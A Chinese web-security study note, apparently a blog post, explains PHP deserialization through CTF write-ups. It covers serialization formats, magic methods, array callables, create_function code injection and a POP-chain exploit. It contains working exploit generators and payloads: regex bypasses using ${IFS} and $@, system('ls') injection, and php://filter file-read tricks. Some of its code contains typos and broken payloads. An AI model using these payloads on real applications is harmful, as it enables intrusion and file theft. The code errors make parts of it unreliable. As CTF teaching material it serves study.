Web安全学习笔记3

反序列化

序列化:将变量转换为可保存或传输的字符串的过程;实现函数是serialize()

反序列化:把这个字符串再转化为原来的变量使用,就是序列化的逆过程,实现函数是unserialize()

数据类型序列化数据结构
对象O:length:"class name":attribute number:{attr1:value1;attr2:value2}
字符串

s:length:value;

整数        

i:value;

布尔        b:value;
空值N;
浮点数d:value;

序列化和反序列化结合起来,可以轻松地储存和传输数据,使程序更具维护性。

反序列化做题步骤:

1.复制源代码到本地

2.注释掉和属性无关的内容

3.根具题目需要,给属性赋值(这是关键)

a.起点:unserialize的参数可控的地方

b.终点:执行代码或者可以任意读取文件的地方。

c.连接器点和终点:研究属性和方法(特别是魔术方法)

4.生成序列化数据,通常要urlencode解码

5.传递数据到服务器

例题(序列化,正则绕过)
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
WP

整个题由三大块组成:

第一部分是命令执行

第二部分是正则绕过

第三部分是反序列所需要提交的变量并进行base64解码

解题

我们需要命令执行获得flag且绕过正则匹配,最后将payload进行base64编码序列化。

第一块:

in_array 检查数组中是否含有某个值 如果method的变量为ping则执行下列代码。call_user_func_array 将method的变量作为函数调用,并且将args的值作为参数传入,这两个都必须为数组。

再看到这一个函数

如果第一部分method的值被调用了则可以实现args这个变量作为函数调用并且返回的值储存在result中,再输出。如此以来我们就可以构造payload。

在构造payload是我们需要绕过正则匹配

${IFS}绕过空格

$@ 绕过空变量

1.然后我们就可以使用ls查看目录:

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease('ping',array('l\s'));

echo base64_encode(serialize($a));
?>
       

 得到payload:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

传参后可以得到:

2.做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看

find查看当前及子目录中的所有文件

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease('ping',array('l\s'));
$a = new ease('ping',array('ca$@t${IFS}`find`'));
echo base64_encode(serialize($a));
?>
                

得到payload:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

传参后即可的到flag:cyberpeace{fcc4ed504c70720cb10cc208e3bdf3d7}

数组特性

当一个数组被当作函数触发时,如果数组第一个元素是对象,第二个元素是方法的名字,那么就会调用该对象下的方法

<?php
class a{
	public $name;
	public function test(){
	echo "数组特性\n";
}
}
$a = new a;
$arr=[$a,'test'];
$arr();
?>

魔术方法

__construct()        对象创建(new)时会自动调用

__wakeup()          使用unserialize时触发

__sleep()              使用serialize时触发

__destruct()          对象被销毁时出发     

__call()                 在对象上下文中调用不可访问的方法时触发        

__callStatic()        在静态上下文中调用不可访问的方法时触发

__get()                 用于从不可访问的属性读取数据

__set()                 用于将数据写入不可访问的属性

__isset()              在不可访问的属性上调用isset()或empty()触发

__unset()            在不可访问的属性上使用unset()时触发

__toString()        把类当作字符串使用时触发

__invoke()          当脚本尝试将对象调用为函数时触发

__autoload()       在代码中当调用不存在的类时会自动调用该方法

综合例题

​
​
<?php
class func
{
	public $mod1;
	public $mod2;
	public $key;
	public function __destruct()
	{
		unserialize($this->key)();
	}
}
class GetFlag
{
	public $code;
	public $action;
	public function get_flag(){
		$a=$this->action;
		$a('',$this->code);
	}
}
unserialize($_GET[0]);

​

​

解题思路:首先看到末尾有反序列化函数,可以想到要利用反序列化来解题。再看到创建了两个类:func和GetFlag。再func中创建了三个变量并且有一个魔术方法__destruct()在变量被摧毁的时候会调用,意思就是在代码结束的时候会调用。在该方法中有一段代码:unserialize($this->key)();

将这个类中的key变量进行反序列化并且作为函数调用。这时我们可以想到数组特性,将key赋值为一个数组,并且看到下面有一个类GetFlag,并且里面有个函数get_flag。更加能够证实这个猜想,所以我们将key的值赋为[GetFlag,"get_flag"];这样就能调用get_flag函数,然后看到get_flag函数:定义了变量a等于该类中的action。看到$a('',$this->code);可以联想到所学的create_function创造一个函数。所以我们可以将action的值赋为create_function。

create_function的漏洞:在定义一个新函数时,我们可以在该函数所要执行的语句开头加一个}这样就会闭合掉创建新函数这个命令,这样就可以在这后面添加我们所需要的系统命令从而获取信息。但执行完我们所需要的命令后还需要添加注释符//来注释掉剩下的}

例如在此题中我们需要查看目录信息则我们可以将GetFlag类中的code赋值为code="} system('ls');//";这样就可以查看到目录信息,查看完后将系统命令改为cat /flag.php即可查找到flag.

<?php
class func
{
	public $mod1;
	public $mod2;
	public $key;

}
class GetFlag
{
	public $code="}cat /flag.php";
	public $action="create_function";
}
unserialize($_GET[0]);
$g = new func;
$f = new GetFlag;
$g->key=serialize([$f,"get_flag"]);
echo urlencode(serialize($g));
?>	

得到payload。

POP链

POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链

反序列化就是要找到合适的POP链。

 寻找POP链:实质就是寻找可以控制的属性和方法,以达成攻击的目的

例题

<?php
class vox{
			protected $headset;
			public $sound;
			public function fun($pulse){
						include($pulse);
			}
			public function __invoke(){
						$this->fun($this->headset);
			}
}
class saw{
			public $fearless;
			public $gun;
			public function __construct($file='index.php'){
							$this->fearless = $file;
							echo $this->fearless . 'you are in my range!'."<br>";
			}
			
			public function __toString(){
							$this->gun['gun']->fearless;
							return "saw";
			}
			
			public function _pain(){
							if($this->fearless){
											highlight_file($this->fearless)
							}
			}
			
			public function __wakeup(){
							if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i",$this->fearless)){
											ehco "mmm";
											$this->fearless = "index.php";
							}
			}
}

class petal{
				public $seed;
				public function __construct(){
								$this->seed = array();
				}
				
				public function __get($sun){
								$nourishment = $this->seed;
								return $nourishement();
				}
}

if(isset($_GET['ozo'])){
				unserialize($_GET['ozo']);
}

?>	
         

根据pop链解法,我们先找到起点为unserialize($_GET['ozo']),需要利用get方法传入一个ozo变量进行反序列化。终点在审计完代码后发现vox类中的include($pulse)可以查看文件,可以确定这就是终点。现在我们从终点到起点来链接。先看vox类中的函数

​
class vox{
			protected $headset;
			public $sound;
			public function fun($pulse){
						include($pulse);
			}
			public function __invoke(){
						$this->fun($this->headset);
			}
}

​

要实现include包含文件这个命令,就要调用fun这个函数,这时我们看到下面invoke魔术方法中可以调用fun函数所以我们需要调用invoke魔术方法(当脚本尝试将对象调用为函数时触发)。

这时我们需要观察代码中哪里将对象作为函数调用了,可以找到petal这个类中的get魔术方法中nourishment变量被当作函数调用了,这时我们需要使用get魔术方法(当访问不可访问的对象时触发)

这时我们需要寻找哪里会访问不可访问的对象,看到saw类中的toString魔术方法中

public function __toString(){
							$this->gun['gun']->fearless;
							return "saw";
			}

如果可以令$this->gun['gun']等于petal类,就可以实现访问petal类中不存在的对象fearless,就会触发get魔术方法,因此我们需要触发toString()魔术方法(把类当作字符串使用时触发)

如何将类看作字符串呢,这时我们看到还是在saw类中的wakeup魔术方法中会对该类中的fearless对象过滤字符串,我们只需要将this->fearless等于上一个saw类即可。然后我们就需要调用wakeup()魔术方法(使用unserialize时触发)

可以创建多个相同的类。

public function __wakeup(){
							if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i",$this->fearless)){
											ehco "mmm";
											$this->fearless = "index.php";
							}

将上述过程简洁描述就是:

起点:unserialize($_GET['ozo'])

终点:vox::fun

链接:

unserialize($_GET['ozo'])=>

saw::__wakeup=>

saw::__toString=>

petal::__get=>

vox::__invoke=>

vox::fun

根据上述路线赋值后的代码为

<?php
class vox{
			protected $headset="falg.php";
			public $sound;
}
class saw{
			public $fearless;
			public $gun;
}

class petal{
				public $seed;
}
$v = new vox;
$p = new petal;
$p->seed=$v;
$s1 = new saw;
$s1->gun=array('gun'=$p);
$s2 = new saw;
$s2->fearless = $s1;
echo urlencode(serialize($s2));
?>	

这样就可以的得到初步payload,但是将该数据传参后还得不到flag,因为include是一个查找文件内的php代码并执行该代码的函数并不能得到文件内的内容,所以这又是一个文件包含漏洞。我们需要利用该漏洞获取源代码。我们要php://fillter协议来读取。所以我们应该headset的值给赋为:

$headset = "php://fillter/convert.base64-encode/resource=flag.php";

得到payload后传参就可以得到flag了。

  • 25
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值